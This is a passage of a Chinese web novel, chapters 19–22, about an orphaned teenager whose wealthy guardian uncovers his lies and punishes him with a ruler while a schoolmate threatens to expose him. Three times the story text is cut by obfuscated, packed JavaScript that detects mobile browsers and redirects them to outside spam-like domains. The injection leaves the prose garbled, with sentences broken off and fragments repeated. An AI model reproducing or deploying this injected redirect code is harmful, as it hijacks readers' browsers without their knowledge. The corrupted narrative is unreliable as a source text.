偏偏这人也不反抗,只是一步步往后退,直到被凌岁虞压在了墙上。 宋霍然依旧没笑,只是直勾勾地盯着他,“我只是来提醒你,项进不想让你好过,不管嘴上怎么说,他暗地里已经在准备相关资料了,你当初在哪里生活过,做过什么事,对我们来说都不是秘密,你要是还想好好过下去,就小心一点。” 凌岁虞早就猜到这件事,不觉惊讶,偏偏对宋霍然特意提醒他这件事特别好奇,他凑过去,贴近这人的脸,“你是不是之前认识我,不然为什么对我这么好……” “我是因为宋南星喜欢你才告诉你的,他们家对我有恩,我们都是……” 宋霍然的这句话没有说完就被打断。 凌岁虞感受到了熟悉的声音,下意识身子一僵。 “小鱼,你在做什么。” 19.谎言暴露 陆琰修不知何时上了天台,倚靠在门上,神情不明地盯着这边。 凌岁虞拎着宋霍然衣领的手都没来得及放下来,只能不尴不尬地悬在空中,两个人贴得过于近,也不知道从男人的角度看是什么样的光景。 他有点心虚地弱弱喊了声,“哥哥。” 声音甜甜软软的,是一贯的撒娇的语气,想要借此让男人消消气,放他一把。 “嗯,所以小鱼现在是在做什么,”陆琰修大步朝这边走过来,拉着凌岁虞书包的带子,轻轻一拽,“还不快松开,你不看看人家脸色多难看。” 凌岁虞听话地松开手,暗地里推了一下待在原地一动不动的宋霍然。 宋霍然没料到他会这么做,一时不察,踉跄地后退了两步,差点一屁股坐到地上,抬起头,没来得及抱怨,就对上了凌岁虞威胁的眼神。 他无声地警告。 【不许告诉我哥我们刚刚说的事】 宋霍然抿唇,没有反应,自己麻利地爬了起来,短短几秒后,就听到了凌岁虞变调的甜甜声音,“哥哥,哥哥,你怎么来这里了,是过来接我的吗,你不是还有工作。” 陆琰修第一次没有及时回答他的问题,只是幽幽扫了他一眼。 凌岁虞的声音立刻就弱了下来,也没敢追问,只瞪圆了眼睛,用无辜的眼神看着人,看得人不忍心怪罪。 陆琰修也不能免俗,想要训斥的话怎么也说不出口,干脆不看这双让人心软的眼睛,转头叮嘱安抚了几句好像被欺负的男生,留了助理电话号码,让他去做检查。 等安排好了一切,他才冷着脸,将惴惴不安盯着这边的凌岁虞领走。 一路沉默到家里。 凌岁虞中途好多次想要出声,可话还没说出口,就被男人敲键盘处理工作事务的姿态给堵回去,只好手撑着下巴,委委屈屈地仰头盯着,等着人忙完回应他。 只是他没想到,这一等就等到了晚上,而且好像气氛还不太对。 明明他回家后的几个小时一直表现得很乖,吃饭时也没有挑食,讨厌的胡萝卜都吃了好几个,主动洗了碗,还埋头做了好久的作业,但当陆琰修一条短信发过来,叫他去书房的时候,他还是没忍住缩了缩脖子。 这是来自犯错的坏孩子敏锐的直觉。 他别别扭扭地盯着消息,装作在认真学习没有看到,努力拖延时间,可男人也一副并不着急的姿态,过了片刻后又发了一条消息。 【等会看到消息就过来】 凌岁虞盯着手机看了好一会儿,才确定了对面就只发了这一条消息。 可前几天明明不是这样的,他认真做作业的时候,陆琰修会轻手轻脚进来,给他送水果,还会告诉他别坐太久,要适当休息,放松眼睛,甚至时刻关注他的学习进度,及时解答他的问题。 今天却什么都没有。 凌岁虞瘪着嘴巴,闷闷地琢磨了一会儿,脑袋里蹦出来了几个字——冷暴力! 讨厌的哥哥,他狠狠地戳了戳手机,仿佛在隔空揍人,表情凶巴巴的,格外气急败坏。 哪有这样的,都还没有问过他,就擅自定罪,故意惩罚他了。 凌岁虞委屈得不行,心头酸酸的,干脆也不回应了,把手机往旁边一甩,强迫自己去琢磨面前看不懂的数学题。 他还故意把笔头又咬了几口,留下几点牙印。 只要陆琰修走进来,立刻就能看到他又不听话,偷偷做坏事。 黑色圆珠笔在作业本上留下一串串的痕迹,题目做了一大半,他等的人却一直没来,凌岁虞焦躁不安,脚轻点地面,耳朵竖起,注意力完全不在作业上。 手机突然又响了一下。 凌岁虞条件反射般跳起来,立刻扑过去,脸上情不自禁露出笑容,还有几分得意,他轻声哼哼,“生气什么,还不是给我发消息了。” 他脸上的笑容僵住,嘴角很快又压了下去,怒火压都压不住,脸颊都变得通红。 宋医生:【岁虞,记得要你哥帮忙按摩哦,翅膀恢复需要很长时间,不能三天打鱼两天晒网,过几天来医院,我会检查恢复情况的】 配图是个可爱的柴犬大笑表情包。 凌岁虞盯着那只笑得格外灿烂的柴犬,心头莫名升起一股无名火,他蹭得一下站起来,匆匆回了句知道,就握着手机直接冲向书房。 推开门就是一句质问,像是受了天大的委屈。 “为什么不关心我了!” 正在敲键盘处理着什么的男人一怔,手下的动作停下来,侧过脸看过来。 可能是因为工作的原因,他罕见地戴上了眼镜,金丝框,平添几分儒雅,眯起眼睛看人时,总给人一种温柔感,即使他的眼神很冷漠。 若是常人看见他这样,必然是会明白,这人心情并不美妙,甚至是在生气。 偏偏凌岁虞看不出来,他这些日子被宠得快要上天,发脾气也理直气壮,哼哼着表达自己的不满,想让人像平常一样来哄他,下巴都仰得高高的,直接错过了陆琰修的目光。 陆琰修手轻轻点着桌面,难得叹了一口气,最开始回答时还是一如既往的温柔,“作业写完了?” 凌岁虞别扭极了,但眼珠子一转,又不想让自己的辛苦白白浪费,用力点了点头,强调,“写完了,而且我还把明天的课程预习了一大半,你都不来看看我的进度。” 他抱怨,“明明之前几天我不说你都会知道的,你今天好冷漠。” 陆琰修控制着椅子转了个身,抬手,手指勾了勾,“小鱼,过来。” 凌岁虞立在原地等了几分钟,这才一步两跳地冲到了他旁边,手握住了勾起的那根手指头,包在掌心里,他偎进了男人的怀里,很快便放松了下来,刚想开口说话,大度说原谅,就被一只手指抵住了唇,制止出声。 “小鱼有没有什么想要跟我解释的。” 凌岁虞后知后觉想起来自己犯了错,刚刚放松的身子又绷了起来,支支吾吾半天,无力解释,“我没有欺负同学。” “嗯,我知道小鱼肯定不会欺负别人的,”陆琰修抚摸着他的后背,虽然在逼问,但依旧心软地在安抚怀里瑟瑟发抖的少年,“那还有其他的吗?” 凌岁虞脑子里只能够想到自己隐瞒的来历,还有假装失忆这些事。 哪一个说出来,估计都会让陆琰修暴怒,立刻把他扔出去,他咬着唇,脸色微白,怎么也不愿意出声,无声地反抗。 陆琰修并不着急,见他迟迟没有回应,捏了捏他的后颈,也没推开他,自顾自地单手敲击电脑,继续处理事务。 凌岁虞没想到,他放学时匆匆回答的话,被那群少爷小姐们迅速地传给了家长,无数想要搭上陆家宋家几条线的人都凑热闹去接送孩子,堵得水泄不通,直接闹到了陆琰修那边。 本来陆琰修是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399742|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意的,可这信息与凌岁虞报备的完全两模两样。 他怕又有人欺负小朋友,顾不上加班匆匆赶到学校,看到的却是凌岁虞在压着别人说话。 那姿态,他也分不清是在威胁还是亲吻,总之是一种过界的亲密,而凌岁虞还没有成年。 凌岁虞惴惴不安地思考了一会儿,被这寂静逼得有点急,他握紧男人的手,急急地否认,“我真的没有做什么,那个同学是我交的新朋友,我跟你说过了,你不是知道吗。” 朋友,哪有朋友是这样的,被家长看到不仅不介绍,还要急切推一把,分开后故作不熟。 陆琰修微晒,手一拧,让怀里的人转了个圈。 两个人面对面看着对方,中间仅隔了很短的这套距离。 “小鱼,规矩昨天才背过,贴在墙上,你经过时都能看清楚,怎么今天就不乖了,背过的东西全都忘记了。” 凌岁虞依旧坚持,“我都记着的,我很乖的。” “那为什么要撒谎?” 陆琰修的脸色冷下来,“还是你觉得你可以瞒过我,所以说过的话也只是应付我的戏言。” 凌岁虞被他镇住了,小步后退,差点腿软地坐在地上,“你都知道了。” “是。”男人点了点头。 “那你都知道了我还能怎么办,”凌岁虞心底一阵惶恐,不安,甚至难过,他嘴硬,“你想干什么就干什么吧,大不了就是被赶走,反正没有你我也可以过得……” 手突然被强制摊开,白皙的带着点肉感的肌肤露出,在凌岁虞不可置信的目光下,一把戒尺挟着风声落到了他的手心最嫩的那一块上。 痛,麻,还有无法形容的痒。 很快,手心就浮现了一道红痕,微微肿起,火辣辣的,足以见得男人下手时没有留情。 凌岁虞差点被打到哭出来。 他下意识缩了缩手,拧来拧去想要逃走,可陆琰修握得太紧,他怎么也抽不出来,反而像是惹恼了人,啪啪啪又是几下。 “呜,不要打了,我错了,对不起……” 陆琰修却丝毫不为所动,戒尺悬在他手心上,随时可能再落下来。 他逼问,“哪里错了?” “给我仔细想。” 凌岁虞这下真的是要哭出来了,抽抽噎噎的,也不敢说自己隐瞒的大错,只好拼命回想,努力给自己行为挑刺。 “我,我不该骗你,说我不回家是去见朋友。” 又被打了一下。 “呜,我不该太任性,刚刚冲你发火。” 更响的一声。 凌岁虞都不知道自己被打了多少次,最后手红了一片,直接肿了起来,一碰就痛到吸气。 就这样陆琰修还没有放过他,还冲着他后腰下方打了几下。 凌岁虞被教训得晚上睡觉都不能躺着,只能够趴着,生怕一碰就红了眼眶,心里把莫名其妙凶人的陆琰修骂了八百回,十分记仇地决定这几天都不会理人了。 只是,他没有看到的是,陆琰修放他离开后,把压在键盘下的一份文件取了出来,那上面详细列出了凌岁虞从小到大的经历,没有一处遗漏。 凌岁虞害怕暴露的一切,早就被整理好,送到了陆琰修的桌子上。 他冷着脸把东西丢进了碎纸机里,看着这份文件成了一堆碎片,片刻后,无奈地叹了一口气。 “小骗子。” 20.一掷千金 凌岁虞和陆琰修开始冷战了,准确来说,是他单方面冷落对方。 平白挨了一顿打,一觉醒来,他手心又红又肿,一碰就痛,后腰下方也受了点小伤,到餐厅吃饭时,刚碰到椅子,刺痛就逼着他蹦了起来。 不用想也知道,今天到学校上课,坐几个小时后,屁股会麻木成什么样,更别说他到底能不能坐下去,要是没忍住痛意,像现在一样蹦啊跳啊,大家就全知道他挨打了。 这也太丢人了。 凌岁虞怒瞪了一眼把他害成这样的罪魁祸首,看人一脸淡然,丝毫没有愧疚之意,更是怒火中烧,脸红耳朵也红,就差没有喷火了。 怎么有人能这样坏,不由分说地把人教训了一通,还没有半点安慰,还这样理直气壮。 他不要跟他好了! 凌岁虞弯腰端起桌上的餐碟,招呼也不打一个,闭着嘴巴,一路连走带跑,到了离陆琰修最远的角落站着,头也不抬,闷声不响,鼓着脸捧着盘子大口吃饭。 刚拿起刀叉,准备帮忙切割三明治的人的手悬在空中,陆琰修颇为无奈,有点拿他没办法,发泄一通后,他那点气都消得差不多了,又变回了最开始温柔的态度。 他见人痛得坐不下,起身去取了个蓬松的软垫过来,压在了椅子上,试了试,确定软度合适,才温声呼,“小鱼,坐这里,垫子很软,不会痛的。” 凌岁虞哼了声,耳尖动了动,眼珠子一转,假装听不见,站在原地一动不动。 只是嘴巴咀嚼的速度放慢了,他腮帮子鼓鼓的,半天口里的东西也没咽下去,注意力全放到了陆琰修身上。 陆琰修知道他营养不良,在吃饭注意两件事上管得极严。 他看人不听话,也不惯着,放好垫子就重新开始吃饭,只是脸色冷淡下来,看都不看一眼旁边站着犟气的人。 凌岁虞得不到关注,反而更心痒痒了,有点委屈又有点不服气,觉得自己被忽视了,眼睛不停往陆琰修那边瞧。 在他第五次看过去时,陆琰修敲了敲桌子,淡淡道,“过来,好好吃饭。” 凌岁虞眼神迅速收回来,又超级大声地哼了一声,狠狠地咬了一口三明治,心中那股子得意劲挥之不去,仗着被人管着惯着,翘着尾巴摆架子。 只是半天没等到那人接下来的话,不知道发生了什么事情,他忍了忍,小心翼翼窥陆琰修,想了半天还是打算张口。 发脾气的话都快从嘴里冒出去了。 陆琰修却好像看透了他的心思,微笑着,温柔地提醒,“小鱼,别试图惹我生气,昨天我问你犯了什么错,你可是到最后也没有告诉我正确的答案。” “这件事在我这里还没有翻篇。” 凌岁虞一懵,还真的有点被唬住了,眼睛眨个不停,眼神飘忽,一会儿看看杯子里的热牛奶,一会儿切切碟子里的三明治,有种手忙脚乱的焦虑。 “我和你签了协议,我是真心把你当弟弟,”见自己的话起了效果,陆琰修唇角微微勾起,故作漫不经心地提示,“你是我现在唯一的家人,有什么事我们可以一起解决,你不要担心我不理解,我保证我会站在你这边,帮助你护着你。” “但是你要是什么都不说,什么都瞒着,那让我知道了之后,我可就没有那么好说话了。” 陆琰修发现什么了?他是不是知道自己说谎了,是不是查到他的过去,知道他是个卑劣,手段下作,需要靠卖可怜斗殴才能活下去的小坏蛋。 他是不是已经不喜欢他了。 凌岁虞只觉得大脑一片空白,他立刻想到了宋霍然提醒他的事情,手捏紧叉子,脸色刹那间苍白,他拼命思索着那几个人这么迅速地把消息传给陆琰修的可能性,手心都在冒汗。 他干笑两声,卖力地撒娇想糊弄过去,甚至在试图观察陆琰修的表情,想要从他的脸上看出点端倪,好随机应变。 “哥哥,我不会骗你的,你相信我嘛,是不是有人跟你说我坏话了。” 可陆琰修到底比他年长,藏匿情绪的能力强,不动声色,凌岁虞除了一点冷意,品不出别的东西,反倒是更紧张了。 陆琰修无声叹气,不忍看凌岁虞惶恐不安的表情,也止住了逼问,“没人说你坏话,快过来坐着吃饭,等饭菜都冷了还没吃完,我才真的是要生气。” 犹豫片刻,凌岁虞还是信了他的措辞。 他别别扭扭地走过来,瘪着嘴乖乖地坐回了椅子上,柔软的垫子软绵绵的,一坐就陷下去,确实一点不痛,他没有故意耍赖撒娇的理由,只能够规规矩矩地进餐。 陆琰修监督他把饭吃干净,又催着人喝完了热牛奶,凌岁虞全程乖得不行,一抬眼,就能够看到人逐渐恢复往日温柔的眼神。 他悬着的心慢慢放了下来。 临分别,陆琰修抚摸了一把他的额,帮他把头上顽固翘起的发丝压下去,抚顺捋直了,“今天放学我准时去接你,立刻出校门,然后跟我发消息,不许再去天台,知道了吗。” 凌岁虞不情不愿应了一声,心里想着他中午和宋霍然约着见面就是了,潇洒地一甩脑袋,头上那一缕发又不听话地翘了起来。 和他一模一样的反骨。 陆琰修看着这一幕,不知道为什么笑了一下,他指尖勾了勾那一缕发,看它在那里晃了几下,就是不肯倒下,心下一松,隐隐地对凌岁虞撒谎骗他的一丝不满烟消云散。 还是没成年的小朋友呢,睡得头发都会四处翘,怕大人知道真相生气,不敢说实话很正常,他宽容地想,等下午去接人放学的时候,哄一哄,免得一直生闷气。 “所以这就是你又把我叫出来买礼物的原因,也太草率了吧,”宋南星懒洋洋地打了个哈欠,满脸匪夷所思,“从没见过你对谁这么上心,你还真把他当小孩子哄了啊,就是小孩子做错事也该受惩罚,你怎么还反过来奖励他了。” “真是溺爱啊,陆琰修。” 宋南星困得不行,边瞎叨叨边遛狗,牵着的两条犬亦步亦趋,一条不知道看到什么,突然兴奋一扑,压到他腿上,他猝不及防,腿一弯,差点原地跪下给人磕头。 陆琰修专心挑拣着礼物,头也没回,却像是背后长了眼睛,手及时伸出去,一把扶住了宋南星。 他姿态从容,回答也有几分随意,“我亲自带回家的,我说过要把他养大的,我家的小朋友,我不哄你哄吗。” “那也不是不可以啊,你的弟不就是我的弟。” 陆琰修挑东西的手顿住,拧着眉头侧身,面色不善,盯着宋南星的眼神冰凉,浑身上下都写满了不高兴几个字。 宋南星没有察觉,他捧着脸,双眼放空,迷迷糊糊地畅想,“最近我们家不是资助了很多流浪的孩子么,大部分都比我小,天天叫哥叫个不停,都还挺乖的,我被叫得也挺高兴的。” “然后我就觉得,有一群弟弟妹妹也没什么不好的,至少情绪价值拉满,实话实说,如果岁虞甜一点叫我几声哥哥,我说不定比你还惯着他。” “毕竟他莫名其妙很合我眼缘。” 陆琰修冷淡地瞥了一眼,“那你就想想吧,反正你也没机会听,他只叫我哥。” 宋南星一时间哽住,他从没见过陆琰修这副样子,错愕地啊了几声,缓了好一会儿才后知后觉地露出了调侃的笑。 他蹭过来,贱兮兮地勾了下陆琰修的袖子,“欸,你不会是吃醋了吧,对小朋友占有欲这么强,叫声哥都不让,他前两天还叫我宋哥呢,我努努力,肯定能把宋这个前缀给去掉。” 说着,他还晃了晃手机,让陆琰修看他和凌岁虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411779|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微信的聊天记录。 陆琰修瞟了一眼,还真看到了几个刺眼的哥字,脸色更是差了些,但他也知道宋南星就是习惯性犯贱,倒不是真的要干什么。 他不想在这件事上纠结,思考片刻,换了个话题,问,“你和他聊天频繁吗,聊过什么,他有没有跟你说过过去的事。” “你是医生也是他的朋友,他应该是比较信任你的。” 宋南星摇了摇头,无奈耸肩,“没呢,警惕性特强,一个字一句话都没提过,我还经常问他有没有想起什么过去的事,他每次都给我发各种哭泣表情包,弄得我不好意思多问,怕刺到他,谁知道他根本没失忆,就是个小骗子啊,我还真的信了。” “不过他倒是经常跟我打听你的事情,衣食住行,喜欢什么,讨厌什么,全都要问,我估计他是没安全感,想着了解你好哄你开心。” 他说着说着就皱眉,摸着下巴,自己都没有察觉到,声音里带上了几分真情实感的担忧。 “但我看他心思挺重的,骗你这么多事,又知道你最讨厌骗子,估计整天都担惊受怕的,昨天晚归那件事估计也有问题,你总要派人去查一下。” 陆琰修捏着几颗漂亮的宝石纽扣放到了旁边的小筐子里,从口袋里抽出条丝巾,擦拭着手指,似乎有点出神。 “早就派人去查了,你不用担心。” “那他骗你的事怎么说,”宋南星好奇地追问,“要和以前一样处理吗,你昨天也给他机会了,他不还是什么都不跟你说。” 陆琰修沉默,想着那几页刺目的资料就有点头痛,还夹杂着几分难以言说的心疼。 他第一次摸不清自己的心理想法。 他也是经历了很多常人无法想象的事才走到了今天,凌岁虞吃过的苦,受过的伤和他比起来也不过尔尔,他不应该因为这些事情就对一个人心软,打破自己以往的原则。 可感情就是这么不讲道理,从看到凌岁虞的第一眼起,他就莫名其妙生出了极端浓郁的保护欲,在看完了收集好的一切消息后,他除了怜惜,竟没有其他多余情绪。 就连看着这小骗子嘴硬不肯承认错误,一个劲地继续撒谎,他也没忍心直接揭穿,生怕吓到他,给他无数机会坦白,持续地引导暗示。 而他和凌岁虞才仅仅认识不到一个月。 “我总感觉,我好像已经和他认识很久了,”陆琰修沉声,“保护他,爱怜他,宠他护他,都是理所应当的事。” 宋南星也跟着点头,他倒是还留有几分理智,分析,“所以我说肯定哪里不对劲啊,我对他有熟悉感就算了,我对一大群人都这样,帅哥美女我全都喜欢,可这事放在你身上多奇怪啊,圈子里的人可都说你郎心似铁。” “你说他背后是不是有人,就是,”宋南星挤眉弄眼示意,“你那几个一直心有不甘,想要翻盘的叔叔伯伯。” “不可能,他们不了解我。” “你继续往下查,看看他出生那两年的资料为什么是空白的。” 陆琰修没有多言,招了人来,看都没多看一眼价格,刷卡付款,也没要包装,将那几颗纽扣放到了口袋里,提步就走。 “他昨天见面的那个人是你家从那边带过来的人,你注意一点,看看他们准备做什么,我不想看到他受伤。” “我会盯着的,”宋南星跟上去,“不过,这就走了,来了这里就买纽扣啊,小朋友穿校服不需要这玩意吧,你要不要换个礼物。” “我看乐高,拼图什么的都挺好的。” “不用,”陆琰修拒绝了他的提议,他摸着纽扣,眼底染上笑意,“这是他最喜欢的东西,刚好让他用这个把小熊玩偶的眼睛换下来。” “一掷千金,你好败家啊陆总!” “我乐意。” 21.威胁 宋霍然没想到凌岁虞竟然这么快就又约了自己,甚至等不到放学,中午就催着他赶快去和他见面,说有要事商议。 体育课自由活动中,他背对操场,躲着老师发消息,有点为难,低着头,啪嗒啪嗒打了几个字。 【非得中午吗,放学后行不】 那边回了个小猫冒火的表情包。 【不行,我很急!而且放学他会过来接我,我得一下课就出去】 这个他,都不用解释,两个人心知肚明代指的是那个人。 那看来确实是没有别的时间,他挣扎了一会儿,还是没有直接答应,回了句。 【你让我想想】 凌岁虞急得给他发了一连串的表情包。 最开始是各种小动物爆锤表情包,后来见他一直不回复,就软了态度,变成了萌萌的撒娇图,全都是些拜托拜托的大眼睛萌宠。 宋霍然不用想都知道,对面发着可爱表情包的那人现在肯定又是一脸的委屈气愤,觉得自己被故意欺负了。 他那种娇气地有点作的性子,凡事都会在他人身上找理由,此时估计脸蛋红着,腮帮子鼓着,眼睛都瞪圆了,咬着牙,气呼呼地跟他发消息。 就和当初一模一样。 旁边的几人正商量着中午吃什么,说得热火朝天,见他抱着手机,满脸凝重,还戳了戳他的肩膀,不见外地把头凑过来,问,“你小子怎么不说话,昨天晚上开始,一直抱着个手机耍,头也不抬一个,谈恋爱了啊?” 宋霍然下意识把手机屏幕侧了侧,躲开了那人的视线。 在大家莫名其妙的眼神下,他面不改色地撒了个慌,“他害羞,知道聊天记录被别人看了,肯定会生气跟我闹。” “欸,还真被我们说中了。” “谁啊,平时也没看你和哪个人走得近。” “那你咋一脸凝重,我还以为你遇到什么事了呢,搞半天是和人玩暧昧。” 宋霍然摸了摸鼻子,顺着他们的话往下说,“他约我中午一起吃饭,我想着我们平时都一起吃的,丢下你们也不好,在考虑要不要答应。” “去呗,你又和我们不一样,我们抱团是怕被欺负,老师喜欢你,他们那群人不敢针对你,你单独行动怕什么,”那人拍了拍宋霍然的肩膀,挤眉弄眼,“成功了一定带过来和我们认识认识。” 宋霍然冷静地点头,唇角挂上了罕见的笑意。 他松了一口气,低头,没有耽误时间,没看对面发过来刷屏的99+表情包,直截了当回复。 【ok,他们同意了,中午天台见】 发完这条消息,他迅速地把手机收回口袋里,不再关注,免得令人起疑。 偏偏这个时候,他的肩膀上突然贴上来了一只手,手指冰凉,压在他的颈侧,透过一股刺骨的寒意,他没忍住拧着眉躲了躲。 宋霍然有点嫌弃,有点无奈,“项进,你又干什么,不要总是吓人行吗。” 项进脸色一如既往的苍白,看人的眼神总是阴沉沉的,抿着唇,不太讨人喜欢,脸颊侧边还有点青紫,不知道是什么时候出现的,这些小伤在他身上从来没有断过。 “你是不是要去见凌岁虞。”他质问,嗓子粗哑,手指曲着掐住了宋霍然的脖子,指甲深深陷入皮肉中,痛得人直皱眉。 宋霍然不想忍他,他一把挥开项进的手,往后退了两步,“别发疯,项进。” 他的目光轻飘飘扫过那几处青紫,又抿了抿唇,“记得去医务室取药,别脱离大家单独行动了,也别跟在那群人屁股后面。” “这里和我们以前待的地方不一样,你融不进他们,他们不仅不会保护你,还会把你当成送上门找欺负的玩具。” 项进不理会他的好意,扣了扣手指,半天冷冷道,“那只是因为我还没有让他们看到我的价值。” “你别自欺欺人了行吗,”宋霍然额角一跳,“他们就是看不上你,你怀念之前的老大,觉得需要抱团,群体生活才能够安心,我们不也顺着你的心意来了,我们这个团体怎么你了,你这么看不惯,怎么非得一门心思地往那群人身边钻。” 他指着项进脸上的一处青紫,怒气冲冲,“这又是他们哪个打的,你就欠打是吗。” 项进摸了摸自己的脸,嗤笑,过了会儿,才慢吞吞地说,“我马上就能够让自己有价值了,你知道我要做什么的,别想拦着我。” “你还关心那个叛徒,我可不,我这辈子,最恨的就是骗子。” 宋霍然瞳孔一缩。 不好的预感立刻涌了上来,他想拽住项进问个清楚,项进却仿佛知道他要干什么,一扭身就跑了出去,一下子就看不到影子了。 他的手悬在空中僵了片刻,最后沉重的坠了下来,垂在身侧发抖。 完蛋了。 紧张上头,他一下课就冲出了教室,顶着后面几个人调侃的眼神,在他们“欸,跑慢点,人家又不会跑”的声音中,飞快地朝着天台冲去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422588|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一路疾驰,上楼的时候格外狼狈,宋霍然顾不上形象,连滚打爬着以最快的速度开了门,抬头便看到那边捧着饭盒,有一搭没一搭吃着饭,不知道等了多久的凌岁虞。 凌岁虞班上体育测试,先测试完的同学提前下课,他以前流浪,到处乱窜,身体素质好,这点运动量轻轻松松,见那群少爷小姐都为难别扭地想往后躲,干脆第一个举手测试,测完了就偷溜到天台来吃饭。 今天的饭盒里面有他讨厌的胡萝卜,不知道是不是陆琰修新一种惩罚方式。 凌岁虞也不敢扔,他每天中午得和陆琰修聊天,只能够乖乖地吃下去,吃了一大半后拍照发图片给对方。 平常他都很快会收到回复,陆琰修从不吝啬夸奖,他做什么都会从对方那里得到表扬。 可今天不知道为什么,陆琰修久久没有回复,他盯着看了半天,也只有自己发过去的图片孤零零地躺在那里。 他不高兴地晃了晃腿,感觉有点被冷落了。 尤其是昨天两个人才吵了一架,一直没有和好,现在他主动给了台阶,对方竟然也不下,弄得他本来就委屈的情绪更加深了。 此时见到宋霍然来了,他的表情也恹恹的,有气无力地发了个招呼。 “你来了啊,”他拍了拍旁边的位置,“帮你擦过了,你坐过来,我们慢慢聊。” 宋霍然没有心思跟他慢慢聊,他的心脏急速跳动,大步向前,走到了凌岁虞旁边,抓住了他的手腕,把他直接拉起来,声音急促。 “别在这里聊,我们换个地方,项进他发疯了一样想针对你,我估计他不会等跟你聊了以后再决定泄露信息了,陆琰修也许很快就会知道你骗他了,你有没有什么别的计划应付他的,我会帮……” 他顿住,剩下的话堵在了喉咙口,瞳孔一震,满脸不敢置信。 天台门口,项进领着一群人站在那里,眼睛弯弯,露出了久违的开心的笑。 “凌岁虞,好久不见啊。” 凌岁虞皱眉,犹豫片刻,甩掉了宋霍然的手,从他身后站出来,直面项进,问,“所以你现在来这里到底是想干什么?” 项进往前走了一步,依旧笑着,可眼神里莫名多了几分恶毒,他盯着凌岁虞的脸,不放过他的任何一丝变化,“当然是来看你笑话的。” “你该不会不知道吧,那份揭露你身份的文件,现在已经到陆琰修桌上了。” “你猜猜,知道了一切后,他会不会丢下你?” 22.离开 凌岁虞立在原地愣住,嘴巴张了张,一时间竟然没有反应过来这人说了什么,茫然地眨着眼睛。 宋霍然靠近他,扶住他的肩膀,小心翼翼看他的表情,“你,你没事吧。” “事情也许还有转机,我觉得陆琰修没那么无情,你乖乖去认个错,他应该会原谅你的。” 项进却双手环胸,凉着眸子盯着他们,嗤笑一声,“凭什么原谅,是凭这几天的相处,还是凭他装出来的乖巧可爱。” “他们那种人,要是知道自己关心的人什么都是假的,是特意装出来的骗人的,不恼怒地转过来教训你就不错了,你竟然还指望着他们继续宠着你护着你,做梦吧。” 凌岁虞抿唇,懵了的大脑缓慢转动,他握紧了宋霍然的小臂,从他的支撑中汲取力量。 他抬头,淡淡看着项进微微扭曲的脸,歪着头思索了一会儿,才恍然大悟般笑,“欸,项进,你这么针对我干嘛,坏事做了就做了,还非要特地来看我的笑话。” “是嫌弃自己活得不够长吗。” 他往前走了一步,转了转手腕。 项进条件反射般后退了两步,下意识想拉过身边的人把自己藏起来。 但凌岁虞明显是在吓唬他,靠近了一步后就停在了原地,只用那双漂亮的眸子似笑非笑地扫过他全身,“怎么这就怕了,不是还想来教训我吗,这么胆小可不行啊。” 项进嘴唇抖了抖,羞恼难堪一系列情绪涌上心头,一瞬间脸红得不成样子。 “你,你真的以为我怕你吗,我这边这么多人,你那边才你们两个。” “蠢猪脑子,还想着靠人数来取胜,”凌岁虞无所谓地耸肩,他认真地扫过项进带来的这些人,哇哦了一声,“你确定他们会真心来帮你。” “如果我没记错,你是叫刘田。” 他好奇地询问领头那个高大的少年,“你是准备帮他来教训我吗?” 刘田眼神闪烁,紧紧盯着凌岁虞的衣领不放。 凌岁虞不高兴地拧眉,觉得这人目光太露骨了,他把衣领往上拉了拉,遮住了脖子,同时也遮挡住了戴着的那一串链子。 链子用很细一根红绳系着的,最下方挂着一颗晶莹剔透的石头,看不出来种类,但是触感温润,贴在身上很舒服。 他喜欢的不行,求着陆琰修早上亲手帮他戴脖子上的。 虽然据陆琰修说,这东西不算珍贵,他每个身边人都会有,但也不是什么人都能够窥探的。 他有点傲娇地想,这东西既然是陆琰修送的,就只有陆琰修能够碰。 刘田早在上来看到人以后就后悔了,少年脖子上挂的东西有点太显眼,他想当作没看见都不行。 这项链可是只有陆家直系血脉才能够有的,一人一条,珍贵非常,就算是陆家人,也不会轻易戴上,而是藏在保险柜里收着,现在竟然就被凌岁虞随意地挂在了脖子上。 到底项进是怎么看出来凌岁虞要失宠了,他一时间火冒三丈。 项进消息滞后,不清楚开学那天陆琰修做了什么,还以为凌岁虞对那个人来说,就是个普通的,养在身边的小玩意,发生点什么就会随意打发。 现在仗着身后有人,他整个人趾高气扬,眼底都闪烁着阴险的光。 刘田可不这么想,但他也懒得提醒项进。 王校长被撤职,那些欺负人的同学被劝退转校,到现在,陆琰修手下的人还在处理这件事的后续,只要是沾上这件事的人,一个都没有放过。 陆琰修本人甚至回到了公司坐镇,要知道这人可是已经许久没有管过这些东西了,多年的规矩就为了凌岁虞破掉了。 